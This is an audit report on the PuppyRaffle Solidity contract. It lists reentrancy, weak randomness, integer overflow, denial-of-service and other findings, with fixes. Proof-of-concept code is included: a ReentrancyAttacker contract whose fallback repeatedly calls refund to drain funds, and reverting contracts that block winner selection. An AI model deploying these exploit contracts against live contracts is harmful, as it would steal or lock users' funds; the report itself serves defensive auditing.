Protocol Puppy Raffle Audit Report

Prepared by: Tadeo

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters: **1A.** `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Tadeo team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

	Impact		
	High	Medium	Low

		Impact		
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/
└── PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

It took 1 day to audit the code, and 18 vulnerabilities were found in the code. The entire audit was done under manual review.

Issues found

Severity	Numbers of issues found
High	4
Mdium	4
Low	1
Gas	2
Info	7
Total	18

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function doesn't follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);

@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback` or `receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls the `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` from their attack contract, draining the contract balance.

▶ Code

This test was added in `PuppyRaffleTest.t.sol`

```
    function test_reentrancyAttack() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
```

```
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackContract = new
ReentrancyAttacker(puppyRaffle);

        address attacker = makeAddr("hacker");

        vm.deal(attacker, 2 ether);

        uint startAttackContractBalance = address(attackContract).balance;
        uint startRaffleContractBalance = address(puppyRaffle).balance;

        vm.prank(attacker);

        attackContract.attack{value: 1 ether}();

        console.log("Start Attacker Balance: ",
startAttackContractBalance);
        console.log("Start Raffle Balance: ", startRaffleContractBalance);

        console.log("Final Attacker Balance: ",
address(attackContract).balance);
        console.log("Final Raffle Balance:
",address(puppyRaffle).balance);
    }
```

And this contract as well.

```
contract ReentrancyAttacker {
    PuppyRaffle private puppyRaffle;

    uint entranceFee;
    uint attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));

        puppyRaffle.refund(attackerIndex);
    }
```

```
    function _stealMoney() internal {
        if(address(puppyRaffle).balance >= 1 ether) {
            puppyRaffle.refund(attackerIndex);
        }
    }
    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Random Number in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hasing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. And isn't good randon number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty`, and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine /manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptography provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to overflow.

```
uint64 my64 = type(uint64).max // 18446744073709551615 =
18.446744073709551615 ETH
my64 = uint64(19000000000000000000) // my64 var set to 19 ETH
my64 = 553255926290448384 //overflow to 0.553255926290448384 ETH
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees. Leaving fees permanently stucks in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
//aka
totalFees = 800000000000000000 + 17800000000000000000
//and this will overflow
totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
```

Althought you could use `selfdestruct`to send ETH to this contract in order for the values to match and witdraw the fees, this is clearly not intended desing of the protocol. At some point, there will be too much `balance` in the contract that above `require` will be impossible to hit.

▶ Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require
check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: The are a few possible mitigations:

1. Use a newer version of solidity, and `uint256` instead of `uint64`for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you will still have a hard time with the `uint64` type too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
```

The are more attacks vectors with that final require, so we recommend removing it regardless.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

▶ Proof Of Code

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` potential DoS Attack, incrementing gas costs for future players.

Description: The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players`array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means that gas costs are lower for players who enter first.

```
        // audit DoS Atatck
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) { //<--- q
can i break this loop
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queque.

An attacker might fill up the raffle and make the array so big, that no one else enters and guarenteeung themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such:

- first group: ~6271939 gas
- secong group: ~18068129 gas

This is more expensive for the second group.

▶ Code

This test was added in `PuppyRaffleTest.t.sol`

```
    function test_DDOSAttack() public {
        vm.txGasPrice(1);

        address[] memory players = new address[](100);
        uint length = players.length;
        for(uint i = 0; i < length; ++i){
            players[i] = address(uint160(i + 1));
        }

        uint gasStart = gasleft();
        puppyRaffle.enterRaffle{value: (entranceFee * length)}(players);
        uint gasEnd = gasleft();
        uint gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst);

        address[] memory players2 = new address[](100);
        uint length2 = players2.length;
        for(uint i = 0; i < length2; ++i){
            players2[i] = address(uint160(i + 1 + 100));
        }

        uint gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: (entranceFee * length2)}(players2);
        uint gasEnd2 = gasleft();
        uint gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;
        console.log("Gas cost of the second 100 players: ",
gasUsedSecond);

        assertGt(gasUsedSecond,gasUsedFirst);
    }
```

Recommended Mitigation: We have the following recommendations:

1. Consider allowing duplicates. Becasue the user can make a new wallet and enter the raffle, so a duplicate check doesn't prevent the same persom enter multiple times, only prevents the same wallet address.

2. Consider using a mapping to check duplicates. This would allow to repeatedly query whether a user is already enter in to the raffle.

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;

    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;

        }

        // Check for duplicates
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-           }
-       }
+         for (uint256 i = 0; i < newPlayers.length; i++) {
+               require(addressToRaffleId[newPlayers[i]] != raffleId,
"PuppyRaffle: Duplicate player");
+           }
        emit RaffleEnter(newPlayers);
    }

    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
```

3. Alternatively,you could use [Openzeppelin's `EnumerableSet` library](https://docs.openzeppelin.com/contracts/3.x/api/utils#EnumerableSet).

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18 ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
  address public feeAddress;
  uint64 public totalFees = 0;
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;

    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] SmartContract wallets raffle winners without a `fallback` or a `receive` funciton will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smartcontract wallet that rejects payment, the lottery would not be able to restart.

Users could easely call the `selectWinner` again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult. Also true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smartcontract wallets enter the lottery without a fallback or receive function
2. the lottery ends
3. The `PuppyRaffle::selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation: There are few options to mitigate this issue.

1. Don't allow smartcontract wallet entrants (not recommended)
2. Create a mapping of address => payout so winners can pull their funds themselves with a new `claimPrize` function, putting the owness on the winner to claim their prizes. (recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0. But according to the natspec, it will also return 0 if the player isn't in the array.

```
    /// @return the index of the player in the array, if they are not
active, it returns 0
    function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas because the secong transaction fail with duplicated player error.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation
4. Try to enter the raffle again, but the trasaction fail because the player is duplicated

▶ Code

This test was added in `PuppyRaffleTest.t.sol`

```
    function test_badReturnsgetActivePlayerIndex() public {
        vm.txGasPrice(1);

        address[] memory players = new address[](1);
        players[0] = playerOne;

        uint gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        uint gasEnd = gasleft();
        uint gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first entry: ", gasUsedFirst);
        console.log("The index of the first player is: ",
puppyRaffle.getActivePlayerIndex(playerOne));

        vm.expectRevert("PuppyRaffle: Duplicate player");
        uint gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        uint gasEnd2 = gasleft();
        uint gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;
        console.log("Gas cost of the second entry fail: ", gasUsedSecond);
    }
```

Recommended Mitigation: The easiest recommendation would be to revert if the player isn't in the array instead returning 0. You could also reserve the position 0 for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player isn't active.

GAS

[G-1] Unchanged state variables should be declared constant or immutable.

Reading for storage is much more expensive than reading from constant or immutable variables.

Intances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached.

Everytime you call `newPlayers.length` and `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+       uint256 newPlayersLength = newPlayers.length;

-       require(msg.value == entranceFee * newPlayers.length,
```

```
"PuppyRaffle: Must send enough to enter raffle");
+       require(msg.value == entranceFee * newPlayersLength, "PuppyRaffle:
Must send enough to enter raffle");
-       for (uint256 i = 0; i < newPlayers.length; i++) {
+       for (uint256 i = 0; i < newPlayersLength; i++) {
            players.push(newPlayers[i]);
        }
```

```
+       uint256 playersLength = players.length;

-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Informational

[I-1] Solidity pragma should be specific, not wide.

Consider using a specific version of solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`.

- Found in `src/PuppyRaffle.sol#32`

[I-2] Using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation:

Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in `src/PuppyRaffle.sol#L61`

```
        feeAddress = _feeAddress;
```

- Found in `src/PuppyRaffle.sol#L185`

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` doesn't follow CEI, which isn't a best practice

It's best to keep code clean and follow CEI pattern.

```
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to
winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
-       uint256 prizePool = (totalAmountCollected * 80) / 100;
-       uint256 fee = (totalAmountCollected * 20) / 100;


+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant POOL_PRECISION = 100;

+       uint256 prizePool = (totalAmountCollected *
PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;
+       uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
POOL_PRECISION;
```

[I-6] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

```
-    event RaffleEnter(address[] newPlayers);
+    event RaffleEnter(address[] indexed newPlayers);
```

```
-    event RaffleRefunded(address player);
+    event RaffleRefunded(address indexed player);
```

```
-    event FeeAddressChanged(address newFeeAddress);
+    event FeeAddressChanged(address indexed newFeeAddress);
```

[I-7] `PuppyRaffle._isActivePlayer` is never used and should be removed

Dead code isn't used in the contract, and make the code's review more difficult.